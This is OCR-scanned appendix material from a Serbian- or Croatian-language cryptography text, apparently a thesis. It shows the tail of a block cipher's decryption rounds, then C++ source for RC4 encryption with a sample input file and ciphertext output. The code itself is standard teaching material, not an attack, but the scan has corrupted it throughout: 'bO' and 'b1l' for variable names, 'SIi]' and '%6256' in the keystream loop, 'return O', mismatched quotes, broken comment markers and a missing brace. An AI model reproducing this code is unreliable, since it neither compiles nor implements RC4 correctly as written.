i i_nround(bl, b0, kp); i_nround(b0, b1, kp);

i_nround(bl, b0, kp); i_nround(bO, b1, kp);
i_nround(b1, b0, kp); i_nround(bO, b1, kp);
i_nround(b1, b0, kp); i_nround(bO, b1, kp);
i_nround(b1, b0, kp); i_nround(bO, b1, kp);
i_nround(b1l, b0, kp); i_lround(bO, b1, kp);

out_blk[0] = bO[0]; out_bIk[1] = bO[1];
out_blk[2] = bo[2]; out_blk[3] = bO[3];
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Prilog 3: Izvorni kod za realizaciju RC4 algoritma

#include <iostream>
#include <fstream>
#include <iomanip>
using namespace std;
int main()
{
fstream ulaz;
ulaz.open('rc4.in",ios::in);
if ('ulaz.is_open()) {
cout << "GRESKA: Ne postoji datoteka rc4.in!" << endl;
return O;

char kljuc[256+1],znak;
int j=0,i=0,velicinaTeksta=0;
unsigned char S[256],temp;
ulaz.getline(kljuc,256);
ulaz >> velicinaTeksta;
if (velicinaTeksta<1) {
cout << "GRESKA: Pogresna velicina teksta." << endl;
ulaz.close();
return O;
}
/IKSA
for (i=0;i<256;i++) Sli]=i;
for (i=0;i<256;i++)

{
j=(+S[i]+kljuc[i%strlen(kljuc)])%256;
temp=Si]; S[i]=S[j]; S[j]=temp;

}

[IPRGA

cout << "Kriptovan tekst:" << endl;

for (int n=0,i=0,j=0;n<velicinaTeksta;n++)
{

i=(i+1)%256;

j=(i+SIi])%6256;

temp=SIi]; S[i]=S[j]; S[j]=temp;

ulaz >> znak;

cout << setw(2) << setfill('0") << hex << (int)(znak"S[(S[i]+S[j])%256]) << " *;
}

cout << endl;

ulaz.close();

return O;

}
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Ulazna datoteka za program: rc4.in
kljuc

12

tajni podatak

Izlaz programa za prilozenu ulaznu datoteku:

Kriptovan tekst: 10 54 15 03 16 94 da bc 53 67 fd ac
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